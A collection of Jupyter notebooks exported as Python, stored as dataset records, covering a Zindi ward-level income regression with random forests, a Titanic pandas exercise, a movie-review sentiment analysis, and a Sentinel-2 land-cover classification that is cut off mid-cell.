outputId=\"21985b08-ab61-484c-ed1e-5080aa886774\"\n# Plot predicted vs actual\nplt.scatter(df[ycol][-1000:], lm.predict(df[in_cols][-1000:]), alpha=0.3)\nplt.plot(df[ycol][-1000:], df[ycol][-1000:]) # A straight line - we want to be close to this\nplt.xlabel('True Value')\nplt.ylabel('Predicted Value')\nplt.savefig('pred_vs_actual_quick_rf_sequential_split.png')\n\n# + [markdown] id=\"vVS8W_V-SHW1\"\n# So the model is getting most predictions close to the mark, but some are waaaay off (causing the terrible score) and lots are negative! Let's move on to a better model.\n\n# + id=\"qftcdJHbKYP-\"\nfrom sklearn.ensemble import RandomForestRegressor\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 328} id=\"AMGHpSx6KYQF\" outputId=\"087aed86-c34c-4cda-e35e-f170039fffd5\"\nrf = RandomForestRegressor(n_estimators=100) # My go-to quick model for regression tasks.\nrf.fit(df[in_cols][:-1000], df[ycol][:-1000])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"TRz1aOC9KYQN\" outputId=\"9a4c9dc6-46fb-4c15-a324-2b07a0488123\"\nrf.score(df[in_cols][-1000:], df[ycol][-1000:]) # Very good!\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"lEt-eqg5Srpq\" outputId=\"20d148d5-7d34-4cea-95b9-e1a09d8cc8e4\"\nprint(\"RMSE:\", sqrt(mean_squared_error(df[ycol][-1000:], rf.predict(df[in_cols][-1000:]))))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 606} id=\"qZD1mu7BKYQU\" outputId=\"dea5f91f-b597-4588-ff50-fec5c846fa9d\"\nplt.scatter(df[ycol][-1000:], rf.predict(df[in_cols][-1000:]), alpha=0.3)\nplt.xlabel('True Value')\nplt.ylabel('Predicted Value')\nplt.savefig('pred_vs_actual_quick_rf_sequential_split.png')\n\n# + [markdown] id=\"2_cYOJ_hRyOf\"\n# Much better! We can see that the predicted values now line up fairly closely with the true values. \n#\n# A nice side-effect of this Random Forest model: We can see what features are most important to the model:\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 621} id=\"9jwKfsO2KYQb\" outputId=\"874128a2-7b1b-4974-b930-a77f987fd4cd\"\nfeatures = in_cols\nimportances = rf.feature_importances_\nindices = np.argsort(importances)\nplt.title('Feature Importances')\nplt.barh(range(len(indices)), importances[indices], color='b', align='center')\nplt.yticks(range(len(indices)), [features[i] for i in indices])\nplt.xlabel('Relative Importance')\nplt.show()\n\n# + id=\"jTqRLAwSIkYl\"\ndf = df.drop('lan_04', axis=1)\n\n\n# + id=\"oIlqw0VJFnZF\"\ndf = df.sample(frac = 1)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 623} id=\"tQNnFxhgKYQn\" outputId=\"14b74ed4-968e-4795-a9ea-431bf67081de\"\n# It turns out school attendance is VERY informative!\ndf.plot(x='psa_00', y='target', kind='scatter', alpha=0.3)\n\n# + [markdown] id=\"wlsx5sQuURkX\"\n# ### Better scoring with Cross-Validation\n#\n# We could start tweaking model parameters and trying different models, using the code above to get the score. But this gives a score for just one split - we could pick a worse model that just happens to do well on the last 1000 rows. instead, we'll use something called k-fold cross validation to get a better estimate of how well one model does in relation to another.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"OtS3SfToUold\" outputId=\"e3fd6e98-54b7-4c78-9ad6-e5568513eacc\"\nfrom sklearn.model_selection import KFold\n\n# Demonstrating splits\nkf = KFold(n_splits=5, shuffle=False)\nfor train, test in kf.split(df):\n print(df.iloc[train].shape, df.iloc[test].shape)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"R7pZ6mQNWYPn\" outputId=\"670807db-be96-4853-99ee-3a51fd7d9aab\"\n# Using this to test a model on 5 different splits\nkf = KFold(n_splits=5, shuffle=False)\n\nscores = []\nfor train, test in kf.split(df):\n rf = RandomForestRegressor(n_estimators=100)\n rf.fit(df[in_cols].iloc[train], df[ycol].iloc[train])\n rmse = sqrt(mean_squared_error(df[ycol].iloc[test], rf.predict(df[in_cols].iloc[test])))\n scores.append(rmse)\n print(rmse)\n\nprint(\"Average score in 5-fold CV:\", np.mean(scores))\n\n# + [markdown] id=\"3LtKWvQqXggc\"\n# As you can see, the scores vary depending on the split. Taking the average of 5 runs gives a much better estimate of the total. You could go higher, but 5 should be enough to see major differences.\n#\n# A question for you: Why did we set shuffle=False?\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"DUyrFIDMXxhf\" outputId=\"ce47518e-d88a-4c08-e37c-a3fa148ce042\"\nkf = KFold(n_splits=5, shuffle=True)\nscores = []\nfor train, test in kf.split(df):\n rf = RandomForestRegressor(n_estimators=100)\n rf.fit(df[in_cols].iloc[train], df[ycol].iloc[train])\n rmse = sqrt(mean_squared_error(df[ycol].iloc[test], rf.predict(df[in_cols].iloc[test])))\n scores.append(rmse)\n print(rmse)\n\nprint(\"Average score in 5-fold CV:\", np.mean(scores))\n\n# + [markdown] id=\"hSs55xENX5w0\"\n# The wards are bits of land in South Africa. If we do a random split, we will have wards in the test set with adjacent wards in the training set. Since nearby locations are often similar, the model is able to make good guesses simply by looking at the neighbouring wards and extrapolating. But for this model to be useful, we want it to generalise well, so that we could potentially make predictions for now without doing ANY surveys. \n#\n# This is reflected in the way Zindi split the data - certain provinces are not represented at all in the training set. By splitting sequentially, we take advantage of the way the training set is ordered (by ward code) to do our own 'geographical' splits where adjacent regions are grouped together. \n#\n# So, use `shuffle=False` to get a better idea of what your model will score on Zindi.\n\n# + [markdown] id=\"1YyQVgmsmFPh\"\n# ### Tip: Sometimes a quick test/train split is enough to get an idea about how well something is doing, but when you're tuning parameters and comparing models it's worth the extra effort to do things rigorously. Try creating a score_model() function to make this quick and effortless going forward.\n\n# + [markdown] id=\"ev2ibPakZyhi\"\n# # Feature Engineering and Model Tuning\n#\n# Let's add a new feature and tune our model a little bit, to see if we can beat our current score (4.01).\n\n# + id=\"mvAk_3jxaKeU\"\n# Average household size - might contain some useful information\ndf['Household_Size'] = df['total_individuals']/df['total_households']\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"1GZ3TFD0a3NI\" outputId=\"9f9b0bda-a253-45a1-9901-d1b1c528262b\"\nin_cols = df.drop('ADM4_PCODE', axis=1).columns[4:]\nin_cols # Check that the new feature is included\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"KANzISABa5Dx\" outputId=\"4600c82a-9101-44f7-af82-fa27e60674c0\"\n# Test in CV\nkf = KFold(n_splits=5, shuffle=False)\nscores = []\nfor train, test in kf.split(df):\n rf = RandomForestRegressor(n_estimators=100)\n rf.fit(df[in_cols].iloc[train], df[ycol].iloc[train])\n rmse = sqrt(mean_squared_error(df[ycol].iloc[test], rf.predict(df[in_cols].iloc[test])))\n scores.append(rmse)\nprint(\"Average score in 5-fold CV:\", np.mean(scores))\n\n# + [markdown] id=\"-4nEcIYtmXXd\"\n# A small improvement, but every little bit helps!\n#\n# ### Tip: Spend some time on feature engineering. Look at ways to combine columns, or redundant info (percentage WITH car = 100- percentage without car, so perhaps one could be scrapped?). Check out extra sources of info. Can you use the coorinates to classify wards as Urban vs Rural? How about using the ward code to find the wards in the shapefile, and getting geographical area or coastline? For the very advanced, even satellite imagery might yield some useful info...\n\n# + [markdown] id=\"aEnV9NHIbFZF\"\n# Let's try to tune the max_depth parameter in case our model is overfitting.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"N3q9eD7XbDDh\" outputId=\"9f8f30d2-1f30-4e23-e9d9-366dd4512fb2\"\nfor md in [3, 4, 5, 7, 9, 12, 15]:\n scores = []\n for train, test in kf.split(df):\n rf = RandomForestRegressor(n_estimators=100, max_depth=md)\n rf.fit(df[in_cols].iloc[train], df[ycol].iloc[train])\n rmse = sqrt(mean_squared_error(df[ycol].iloc[test], rf.predict(df[in_cols].iloc[test])))\n scores.append(rmse)\n print(\"Average score in 5-fold CV:\", np.mean(scores), \"for max depth:\", md)\n\n# + [markdown] id=\"ORAWg_bTcAN3\"\n# Deeper models did better. \n# ### Tip: Try plotting score vs depth, and see where the model stops improving. You can also tune many other parameters\n\n# + [markdown] id=\"-uFNYIaMnUFU\"\n# ### Tip: Experiment with different models! There are many to choose from, and my favourite old Random Forest is feeling a little overwhelmed by the cool kids: XGBoost, LGBMs, NODE, 🐱boost...\n\n# + [markdown] id=\"jgcNW7nsZ4K7\"\n# # Making a submission\n#\n# OK, so we have a model we're happy with. Now to make our submission. First, let's look at the submission format\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"ng2UVqJ1cRYF\" outputId=\"ddee3ff7-4010-409b-91d9-a58cee0c8577\"\npd.read_csv('/content/drive/MyDrive/zindi/Trailblazers Qualification Challenge/SampleSubmission.csv').head()\n\n# + [markdown] id=\"ijgclpVVcXDE\"\n# For each ward, we need to predict the target. Let's do it\n\n# + id=\"I65o6BzCcdfn\"\n# Load the test data\ntest = pd.read_csv('/content/drive/MyDrive/zindi/Trailblazers Qualification Challenge/Test.csv')\n# Add any extra features just as we did for train\ntest['Household_Size'] = test['total_individuals']/test['total_households']\n# test = test.drop(['dw_03', 'dw_12', 'dw_13', 'lan_03', 'lan_04', 'pw_07', 'pw_08'] , axis=1)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"0didAmLxInK7\" outputId=\"ea1f4d99-28f1-43a4-a4b0-1027f6c85985\"\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.ensemble import ExtraTreesClassifier\nfrom xgboost import XGBRegressor \nimport lightgbm as lgb\n\n\n# create models \nlg_model = LogisticRegression()\nrf_model = RandomForestRegressor()\nkn_model = KNeighborsClassifier()\net_model = ExtraTreesClassifier()\nmodel = XGBRegressor(n_estimators=1000, max_depth=7, eta=0.1, subsample=0.7, colsample_bytree=0.8)\nlgb_model = lgb.LGBMRegressor(learning_rate=0.09,max_depth=-5,random_state=42)\n\n\n#fitting the models\n# lg_model.fit(X_train,y_train)\n# rf_model.fit(X_train,y_train)\n# kn_model.fit(X_train,y_train)\n# et_model.fit(X_train,y_train)\n# xg_model.fit(X_train,y_train)\n# model.fit(df[in_cols],df[ycol])\nlgb_model.fit(df[in_cols],df[ycol],verbose=20,eval_metric='logloss')\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"e34BF1mTcpYs\" outputId=\"b569c331-874c-4531-8b13-ea7db34b3d84\"\n# Fit a model on the whole training set, using our best parameters\nrf = RandomForestRegressor(n_estimators=100, max_depth=15)\nrf.fit(df[in_cols], df[ycol])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 386} id=\"rq28WuaIcvrf\" outputId=\"63cacad5-a9f9-40b0-dc6d-2e2e3427a009\"\n# Make predictions\ntest['target'] = rf.predict(test[in_cols])\ntest.head()\n\n# + id=\"xhW2TIrEX38-\"\n# Save and submit!\ntest[['ward', 'target']].to_csv('submission-17.csv', index=False)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"a5GKhsovU-yu\" outputId=\"223a56a2-4ac5-4a04-fe55-3796b5ea98d5\"\ntest['target'].mean()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 610} id=\"1ZDSPBEMT6bA\" outputId=\"4656ea7b-84aa-43f9-d1cc-4e05957e745f\"\nplt.bar(test['ward'],test['target'])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 623} id=\"dbTm8ylaVePY\" outputId=\"ac7228f2-d3c6-45c9-c459-4801ec633de4\"\nax = test['target'].plot(kind='hist')\nplt.xlabel('Percentage of households that are w-headed and have income under R19.6k/month')\n\n# + [markdown] id=\"7luIAJK2dCOg\"\n# And that's it! Upload your submission file to Zindi and see what you get :) If all works out well, you should get a score very similar to the one we got in our tests. That said, the test set includes Cape Town, so if your score is slightly lower than expected feel free to blame it on the DA ;)\n","repo_name":"sidahmed-faisal/Trailblazers-Qualification-Challenge","sub_path":"TrailblazersQualification_Notebook.ipynb","file_name":"TrailblazersQualification_Notebook.ipynb","file_ext":"py","file_size_in_byte":19861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"5640152970","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ndata = pd.read_excel(\"titanic.xls\")\ndata.head()\n\ndata = data.drop([\"name\", \"sibsp\", \"parch\", \"ticket\", \"fare\", \"cabin\", \"embarked\", \"boat\", \"body\", \"home.dest\"], axis=1)\ndata = data.dropna(axis=0)\ndata.head()\n\n\n# +\n# data.loc[data[\"age\"] <= 20.0, [\"age\"]] = 0\n# data.loc[(data[\"age\"] > 20) & (data[\"age\"] <= 30.0), [\"age\"]] = 1\n# data.loc[(data[\"age\"] > 30) & (data[\"age\"] <= 40.0), [\"age\"]] = 2\n# data.loc[data[\"age\"] > 40.0, [\"age\"]] = 3\n# -\n\ndef category_ages(age):\n if age <= 20.0:\n return \"<20 ans\"\n elif age <= 30.0:\n return \"20-30 ans\"\n elif age <= 40.0:\n return \"30-40 ans\"\n else:\n return \">40 ans\"\n\n\ndata[\"age\"] = data[\"age\"].map(category_ages)\n\ndata[\"age\"]\n\ndata[\"age\"].value_counts()\n\n# data[\"sex\"].map({\"male\":0, \"female\":1})\n# data[\"sex\"].replace([\"male\", \"female\", [0, 1]])\ndata[\"sex\"].astype(\"category\").cat.codes\n\n\n# +\n# Convert 'sex' column to categorical and get the codes\ncodes = data['sex'].astype('category').cat.codes\n\n# Get the categories and their corresponding codes\ncategories = data['sex'].astype('category').cat.categories\n\n# Create a dictionary mapping codes to categories\ncode_to_category = {code: category for code, category in zip(codes, categories)}\n\n# Print the code-to-category mapping\nfor code, category in code_to_category.items():\n print(f\"Code: {code}, Category: {category}\")\n","repo_name":"AlexLapy/MLearnia","sub_path":"pandas/exercice.ipynb","file_name":"exercice.ipynb","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"26846794785","text":"from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer \nimport pandas as pd\nimport nltk\nfrom textblob import TextBlob\nimport spacy\nimport matplotlib.pyplot as plt\nimport operator\nimport seaborn as sns\nimport warnings\nimport re\nfrom wordcloud import WordCloud, STOPWORDS\n# %matplotlib inline\nwarnings.filterwarnings('ignore')\n\ndf = pd.read_csv(\"critics_review.csv\")\n\ndf.head(5)\n\nna = df[df[\"rating\"]==\"na\"]\n\nrev = df[\"review\"]\n\nt = rev[1]\nt\n\nsp = spacy.load('en_core_web_sm')\nall_stopwords = sp.Defaults.stop_words\nall_stopwords.remove('not')\ndef remove_mystopwords(sentence):\n tokens = sentence.split(\" \")\n tokens_filtered= [word for word in tokens if not word in all_stopwords]\n return (\" \").join(tokens_filtered)\n\n\ncleantext = re.sub(\"[ ,.:]\", \" \", t)\ncleantext = re.sub(\"[0-9]\", \" \", cleantext)\ncleantext = re.sub(\"[[]\", \" \", cleantext)\ncleantext = re.sub(\"[]]\", \" \", cleantext)\ncleantext = re.sub(\"['']\", \" \", cleantext)\ncleantext = re.sub(\"[)(]\", \" \", cleantext)\ncleantext = re.sub(\"@\\\\w+\", \" \", cleantext)\ncleantext = re.sub(\"#\\\\w+\", \" \", cleantext)\ncleantext = re.sub(\"[,' %]\", \" \", cleantext)\ncleantext = re.sub(\"[//]\", \" \", cleantext)\ncleantext = re.sub(\"[&]\", \" \", cleantext)\ncleantext = re.sub(\"[;]\", \" \", cleantext)\ncleantext = re.sub(\"[$]\", \" \", cleantext)\n\ndata = cleantext.lower()\n\nclean_r = pd.DataFrame(columns=[\"clean_text\"])\ndf = pd.concat([df,clean_r],axis=1)\n\ndf.head()\n\nj = 0\nfor i in df[\"review\"]:\n cleantext = re.sub(\"[ ,.:]\", \" \", i)\n cleantext = re.sub(\"[0-9]\", \" \", cleantext)\n cleantext = re.sub(\"[[]\", \" \", cleantext)\n cleantext = re.sub(\"[]]\", \" \", cleantext)\n cleantext = re.sub(\"['']\", \" \", cleantext)\n cleantext = re.sub(\"[)(]\", \" \", cleantext)\n cleantext = re.sub(\"@\\\\w+\", \" \", cleantext)\n cleantext = re.sub(\"#\\\\w+\", \" \", cleantext)\n cleantext = re.sub(\"[,' %]\", \" \", cleantext)\n cleantext = re.sub(\"[//]\", \" \", cleantext)\n cleantext = re.sub(\"[&]\", \" \", cleantext)\n cleantext = re.sub(\"[;]\", \" \", cleantext)\n cleantext = re.sub(\"[$]\", \" \", cleantext)\n final = cleantext.lower()\n filtered_text = remove_mystopwords(final)\n df[\"clean_text\"][j] = filtered_text\n j+=1\n\ndf.head()\n\njo = df[\"clean_text\"][21]\n\njo\n\njo.splitlines()\n\nsid_obj = SentimentIntensityAnalyzer()\nbon = sid_obj.polarity_scores(jo)\nbon\n\nbon[\"neu\"]\n\nif bon[\"neg\"]>bon[\"pos\"]>bon[\"neu\"]:\n print(\"yes\")\nelif bon[\"neg\"]bon[\"neu\"]:\n print(\"yoooo\")\n\nsenti = pd.DataFrame(columns=[\"sentiment\"])\ndf = pd.concat([df,senti],axis=1)\n\ndf.head(2)\n\nj = 0\nfor rev in df[\"clean_text\"]:\n pol = sid_obj.polarity_scores(rev)\n if pol[\"neg\"]>0.2:\n df[\"sentiment\"][j] = \"negative\"\n elif pol[\"compound\"] == 0:\n df[\"sentiment\"][j] = \"neutral\"\n else:\n df[\"sentiment\"][j] = \"positive\"\n j+=1\n\ndf.head()\n\ndf[\"sentiment\"].value_counts()\n\nnew= df[df[\"sentiment\"]==\"negative\"]\n\nnew\n\nnew[\"review\"][1524]\n\ndf.head(3)\n\ndf1 = df.replace({\"na\":\"unrated\"})\n\ndf1.head(3)\n\nx =df1[\"rating\"][1].split(\"/\")\n\nlen(x)\n\nif x[1] == \"5\":\n c = int(x[0])*2\n print(c)\nelse:\n pass\n\nsentim = pd.DataFrame(columns=[\"rating_out_of_10\"])\ndf1 = pd.concat([df1,sentim],axis=1)\n\nj = 0 \nfor rating in df1[\"rating\"]:\n x = rating.split(\"/\")\n if len(x) >= 2:\n if x[1] == \"5\":\n c = float(x[0])*2\n df1[\"rating_out_of_10\"][j] = c\n else:\n df1[\"rating_out_of_10\"][j] = x[0]\n else:\n df1[\"rating_out_of_10\"][j] = x[0]\n j+=1\n\ndf1.head()\n\ndf1[\"rating_out_of_10\"].value_counts()\n\ntop = df1[df1[\"rating_out_of_10\"]==10]\n\ntop[\"sentiment\"].value_counts()\n\ndf1[\"rating_out_of_10\"].dtype\n\ndf1.head()\n\ndf1[\"rating_out_of_10\"].replace({\"unrated\":0},inplace=True)\n\ndf1.head()\n\ndf1[\"rating_out_of_10\"].replace({\"C-\":0,\"B\":0,\"B+\":0,\"A+\":0,\"A-\":0,\"D-\":0,\"C\":0,\"B-\":0,\"Matinee\":0,\"A\":0,\"D+\":0,\"C+\":0,\"D\":0},inplace=True)\n\ndf1[df1[\"rating_out_of_10\"]==\"78\"]\n\ndf1[\"rating_out_of_10\"].replace({\"B-minus\":0,\"90\":9.0,\"78\":7.8,\"B-+\":0,\"83\":8.3,\"B-plus\":0,\"87\":8.7,\"16\":1.6,\"88\":8.8,\"18\":1.8,\"14.5\":7.5,\"Big\":0},inplace=True)\n\ndf1.dtypes\n\ndf1 = df1.astype({\"rating_out_of_10\":float})\n\ndf1.head()\n\nj=0\nfor rating in df1[\"rating_out_of_10\"]:\n if rating > 7.0:\n df1[\"sentiment\"][j] = \"positive\"\n else:\n pass\n j+=1\n\ndf1.head()\n\nr_s = pd.DataFrame(columns=[\"rating_sentiment\"])\ndf1 = pd.concat([df1,r_s],axis=1)\n\n# +\nj = 0 \nlength = len(df1[\"rating_out_of_10\"])\n\nfor i in range (0,length):\n if df1[\"rating_out_of_10\"][i] >= 8.0 :\n df1[\"rating_sentiment\"][j] = \"Excellent\"\n \n elif df1[\"rating_out_of_10\"][i] >= 6.0 :\n df1[\"rating_sentiment\"][j] = \"Good\"\n \n elif df1[\"rating_out_of_10\"][i] >=4.0 :\n df1[\"rating_sentiment\"][j] = \"Average\"\n \n elif df1[\"rating_out_of_10\"][i] == 0.0 :\n df1[\"rating_sentiment\"][j] = \"unrated\"\n \n elif df1[\"rating_out_of_10\"][i] <= 3.0 :\n df1[\"rating_sentiment\"][j] = \"Poor\" \n j+=1\n# -\n\ndf1.head()\n\ndf1[\"rating_sentiment\"].value_counts()\n\ndf2 = df1.drop([\"rating\",\"clean_text\"],axis=1)\n\ndf2.head()\n\nword = df1[\"clean_text\"][1]\n\nword\n\ntoken = nltk.word_tokenize(word)\n\ndf1[\"clean_text\"][0]\n\nto = len(df1[\"clean_text\"])\n\nadjectives = []\nfor i in range(0,to):\n sentence = df[\"clean_text\"][i]\n token = nltk.word_tokenize(sentence)\n for i in token:\n x = nltk.pos_tag([i])\n if (x[0][1] == \"JJ\" or x[0][1] == \"JJS\" ) :\n adjectives.append(i)\n\ndict1 = {}\nfor i in adjectives:\n dict1[i] = adjectives.count(i)\n sorted_d = dict(sorted(dict1.items(), key=operator.itemgetter(1), reverse=True))\n final = []\n for i in sorted_d.items():\n final.append(i[0])\n\nattribute_list = final[:15]\nattribute_list = [i.lower() for i in attribute_list if (3 <= len(i) <= 12)]\n\nattribute_list\n\n# +\nwordcloud = WordCloud(background_color='white',width = 1000, height = 500).generate_from_frequencies(dict1)\n\nplt.figure(figsize=(15,8))\nplt.axis(\"off\")\nplt.imshow(wordcloud)\n# -\n\ndfnew = df2.groupby(\"sentiment\").agg('count')\n\n\n# +\nexplode = [0.03,0.5,0.1] # To slice the perticuler section\ntextprops = {\"fontsize\":13} # Font size of text in pie chart\n \ndfnew[\"review\"].plot.pie(radius = 1.5,autopct = \"%0.2f%%\",shadow = True,explode = explode,textprops =textprops,legend=False,ylabel=\"\")\n# -\n\ndfnew1 = df2.groupby(\"rating_sentiment\").agg('count')\n\n# +\nexplode = [0.03,0.1,0.1,0.1,0.1] # To slice the perticuler section\ntextprops = {\"fontsize\":15} # Font size of text in pie chart\n \ndfnew1[\"sentiment\"].plot.pie(radius = 1.5,autopct = \"%0.2f%%\",shadow = True,explode = explode,textprops =textprops,legend=False,ylabel=\"\")\n# -\n\ndfnew2 = df2.groupby('movie_name')['sentiment'].value_counts().unstack().fillna(0)\n\ndfnew2.plot(kind='barh', stacked=False, figsize=(10,8), width=0.9 )\n\ndfnew3 = df2.groupby('movie_name')['rating_sentiment'].value_counts().unstack().fillna(0)\n\ndfnew3.plot(kind='barh', stacked=False, figsize=(10,8), width=0.9 )\n\nc = df2.iloc[1]\n\nc[\"movie_name\"]\n\ndf2.head(3)\n\npos_str = []\nnegative_str = []\nneutral_str = []\ns =len(df1)\nfor i in range(0,s):\n data = df1.iloc[i]\n s_ment = data[\"sentiment\"]\n s_review = data[\"review\"]\n if s_ment == \"positive\":\n pos_str.append(s_review)\n elif s_ment == \"negative\":\n negative_str.append(s_review)\n elif s_ment == \"neutral\":\n neutral_str.append(s_review)\n\n# +\n#total_data = pos_str+negative_str\n\n# +\n# count = [total_data.count(i) for i in attribute_list]\n# attribute_list_count = {}\n# for i in attribute_list:\n# attribute_list_count[i] = total_data.count(i)\n# # print('attribute _list count --',attribute_list_count)\n# dict1 = {}\n# if (len(attribute_list) >= 10):\n# attribute_list = attribute_list[:10]\n# else:\n# pass\n# for i in attribute_list:\n# # dict1[i] = (whole_neg_data.count(i) / attribute_list_count[i], whole_pos_data.count(i) / attribute_list_count[i])\n# dict1[i] = (negative_str.count(i), pos_str.count(i))\n# dict1[\"count\"] = [total_data.count(i) for i in attribute_list]\n\n# +\nadjectives_pos = []\nadjectives_neg = []\nadjectives_neu = []\nfor i in pos_str:\n sentence = i\n token = nltk.word_tokenize(sentence)\n for i in token:\n x = nltk.pos_tag([i])\n if (x[0][1] == \"JJ\" or x[0][1] == \"JJS\" ) :\n adjectives_pos.append(i)\n \nfor i in negative_str:\n sentence = i\n token = nltk.word_tokenize(sentence)\n for i in token:\n x = nltk.pos_tag([i])\n if (x[0][1] == \"JJ\" or x[0][1] == \"JJS\" ) :\n adjectives_neg.append(i)\n\nfor i in neutral_str:\n sentence = i\n token = nltk.word_tokenize(sentence)\n for i in token:\n x = nltk.pos_tag([i])\n if (x[0][1] == \"JJ\" or x[0][1] == \"JJS\" ) :\n adjectives_neg.append(i)\n# -\n\n\n","repo_name":"Rahul9077/Machine-learning","sub_path":"Movie review sentiment analysis.ipynb","file_name":"Movie review sentiment analysis.ipynb","file_ext":"py","file_size_in_byte":8763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"30825097831","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"rW9KbFEK6l2h\" outputId=\"164713bf-7550-4ec5-f9c3-f2fc0eb6658d\"\n# !pip install earthpy gdal \n\n# + [markdown] id=\"bxH6GB5GrJWQ\"\n# #Import library\n\n# + id=\"gWEXCDyFkw-z\"\nfrom glob import glob\nimport sys\nimport earthpy as et\nimport earthpy.spatial as es\nimport earthpy.plot as ep\n\nimport rasterio as rio\nfrom rasterio.plot import plotting_extent\nfrom rasterio.plot import show\nfrom rasterio.plot import reshape_as_raster, reshape_as_image\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.colors import ListedColormap\n\nimport plotly.graph_objects as go\n\nnp.seterr(divide='ignore', invalid='ignore')\nimport pandas as pd\n\nfrom sklearn.model_selection import train_test_split\n\n\nimport pandas as pd\nimport numpy as np\n\n# Make numpy values easier to read.\nnp.set_printoptions(precision=3, suppress=True)\n\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.datasets import make_classification\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.preprocessing import StandardScaler\nimport seaborn as sns\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.svm import SVC\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.decomposition import PCA\n\nfrom sklearn import preprocessing\n\n# + [markdown] id=\"tj0JOck4rM1_\"\n# #Read data from sentinel 2\n\n# + id=\"U31aOGKrk1vR\"\nfile_path = \"/content/drive/MyDrive/AI/HCM_30m_ProjectRaster1.tif\"\n\n# + id=\"7TBDQ132lIi1\"\nl = []\n\nwith rio.open(file_path, 'r') as f:\n for j in range(1,13): \n l.append(f.read(j))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"cPNyjT9XlJSZ\" outputId=\"df9317e0-3b9b-4103-a81d-d30f103070eb\"\narr_st = np.stack(l)\nprint(arr_st.shape)\nprint(arr_st)\n\n# + id=\"BFGrqkP-1w5B\"\nfill_null = arr_st[0][0][0]\narr_st = np.nan_to_num(arr_st, nan=fill_null)\n\n# + [markdown] id=\"CMiusJgCqaBC\"\n# #Use gdal read band image and convert coordinate to point\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"tQiDFCVD9fyZ\" outputId=\"5e34d157-fb0b-4408-e796-88660146ba5a\"\nfrom osgeo import osr, ogr, gdal\n\ntif = gdal.Open(file_path)\ngt = tif.GetGeoTransform()\n\n# convert coordinates to pixels\ndef world_to_pixel(geo_matrix, x, y):\n \"\"\"\n Uses a gdal geomatrix (gdal.GetGeoTransform()) to calculate\n the pixel location of a geospatial coordinate\n \"\"\"\n ul_x= geo_matrix[0]\n ul_y = geo_matrix[3]\n x_dist = geo_matrix[1]\n y_dist = geo_matrix[5]\n pixel = int((x - ul_x) / x_dist)\n line = -int((ul_y - y) / y_dist)\n return pixel, line\n\n#read data from arr_st to fill 12 band in pandas table \ndef read_band_from_tiff(x, y, data):\n a, b = world_to_pixel(gt, x, y)\n ls = []\n for i in range(12):\n ls.append(data[i, b, a])\n return ls\nprint(read_band_from_tiff(692570.3, 1158673, arr_st))\n\n# + [markdown] id=\"vhfXhGzoojs3\"\n# ##Read data from excel\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 730} id=\"WkGIhJ00Fw2V\" outputId=\"328fe5e4-9447-4fd3-ca3c-5fe49e49b4aa\"\ndf = pd.read_excel('/content/drive/MyDrive/AI/Data.xlsx')\nbands_list = ['B1', 'B2', 'B3', 'B4', 'B5', 'B6', 'B7', 'B8', 'B9', 'B10', 'B11', 'B12']\n\nndvi = []\nndwi = []\n#fill band to pandas \nfor i in df.index: \n l = read_band_from_tiff(df['X'][i], df['Y'][i], arr_st)\n ndvi.append((l[7]-l[3])/(l[7]+l[3]))\n ndwi.append((l[2]-l[7])/(l[2]+l[7]))\n for j in range(12):\n df[bands_list[j]][i] = l[j]\n \ndf['NDVI'] = ndvi\ndf['NDWI'] = ndwi\n\nVL = arr_st[0][0][0]\nfor i in range(100):\n df.loc[len(df.index)] = [0.0, 0.0, 'None', VL, VL, VL, VL, VL, VL, VL, VL, VL, VL, VL, VL, 0.0, 0.0]\ndf\n\n# + id=\"6Wjxi_RMpLTf\"\nclass_names = df['Label'].unique()\nlabel_encoder = preprocessing.LabelEncoder()\ndf['Label']= label_encoder.fit_transform(df['Label'])\n\n# + id=\"w-uVHq14pur_\"\narray = df.values\nX = array[:, 3:17]\ny = array[:, 2]\n\n# scale = StandardScaler()\n# scale_X = scale.fit_transform(X)\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n\n# + id=\"VoA9kYIsr28s\"\npipe = make_pipeline(RandomForestClassifier(max_depth=512, random_state=42))\ntest_predict = pipe.fit(X_train, y_train).predict(X_test)\n\n# + colab={\"base_uri\": 